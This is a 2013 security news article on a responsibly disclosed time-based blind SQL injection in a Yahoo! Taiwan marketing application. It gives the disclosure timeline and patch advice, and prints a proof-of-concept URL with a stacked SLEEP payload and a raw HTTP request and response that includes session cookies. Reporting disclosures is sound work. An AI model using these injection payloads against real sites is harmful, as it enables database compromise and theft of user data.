It seems that 2013 is the "Data Leakage Year"! Many customers' information and confidential data have been published on the internet coming from government institutions, famous vendors, and companies too.

Ebrahim Hegazy(@Zigoo0) an Egyptian information security advisor who found a high severity vulnerability in "Avira license daemon" days ago, is on the news again, but this time for finding and reporting Blind SQL Injection vulnerability in one of Yahoo! E-marketing applications.
SQL Injection vulnerabilities are ranked as Critical vulnerabilities, because if used by Hackers it will cause a database breach which will lead to confidential information leakage.

A time based blind SQL Injection web vulnerability is detected in the official Yahoo! TW YSM Marketing Application Service.

The vulnerability allows remote attackers to inject own SQL commands to breach the database of that vulnerable application and get access to the user data.

The SQL Injection vulnerability is located in the index.php file of the soeasy module when processing to request manipulated scId parameters. By manipulation of the seed parameter the attackers can inject own SQL commands to compromise the web server application DBMS.

The vulnerability can be exploited by remote attackers without privileged application user account and without requiring user interaction. Successful exploitation of the SQL injection vulnerability results in application and application service DBMS compromise.

Vulnerable Service(s): [+] Yahoo! Inc - TW YSM Marketing
Vulnerable Module(s): [+] soeasy
Vulnerable Module(s): [+] index.php
Vulnerable Parameter(s):[+] scId

But the Ebrahim is a white hat, so he reported the vulnerability to the Yahoo! The security team with recommendations on how to patch the vulnerability.

According to Ebrahim, the time line of the vulnerability was:
  • 2013-02-24: Researcher Notification & Coordination
  • 2013-02-25: Vendor Notification
  • 2013-03-01: Vendor Response/Feedback
  • 2013-04-01: Vendor Fix/Patch by check
Proof of Concept
The time-based sql injection web vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction. For demonstration or reproduce ...

Vulnerable Service Domain: tw.ysm.emarketing.yahoo.com
Vulnerable Module: soeasy
Vulnerable File: index.php
Vulnerable Parameters: ?p=2&scId=

POC:
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113; select SLEEP(5)--

Payload:
1; union select SLEEP(5)--

Request:
http://tw.ysm.emarketing.yahoo.com/soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)--

GET /soeasy/index.php?p=2&scId=113;%20select%20SLEEP(5)-- HTTP/1.1
Host: tw.ysm.emarketing.yahoo.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:19.0) Gecko/20100101 Firefox/19.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: is_c=1; device=pc; showNews=Y; B=9tgpb118xilu04&b=3&s=mu; AO=o=1&s=1&dnt=1; tw_ysm_soeasy=d%3D351d9185185129780476f856.
17880929%26s%3DxLxK2mb96diFbErWUyv_jGQ--; __utma=266114698.145757337399.1361672202.1361672202.1361672202.1; __utmb=2663114698.
1.10.1361672202; __utmc=2636114698; __utmz=266114698.13616732202.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
DNT: 1
Connection: keep-alive

HTTP/1.0 200 OK
Date: Sun, 24 Feb 2013 02:16:48 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi
SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Encoding: gzip

Solution: The vulnerability can be patched by a restriction and secure parse of the scId parameter request.

More details about the vulnerability could be found here. As most of the readers know that Yahoo! doesn't have a bug bounty program or Hall of fame too, so as a reward from Yahoo! for the researchers who finds a vulnerability in Yahoo! Applications, they do award researchers by sending them a T-shirts with Yahoo! logo and some other tokens.

The researcher told us that he received a package sent to him by Yahoo! containing 2 T-shirts and a big cup ... 

Lean reward, what do you think? Dear Yahoo the next time you may be the victim of black hat.

Credits
Ebrahim Hegazy is an information security advisor @Starware Group, acknowledged by Google, Microsoft and Ebay for finding and reporting multiple vulnerabilities in their applications.

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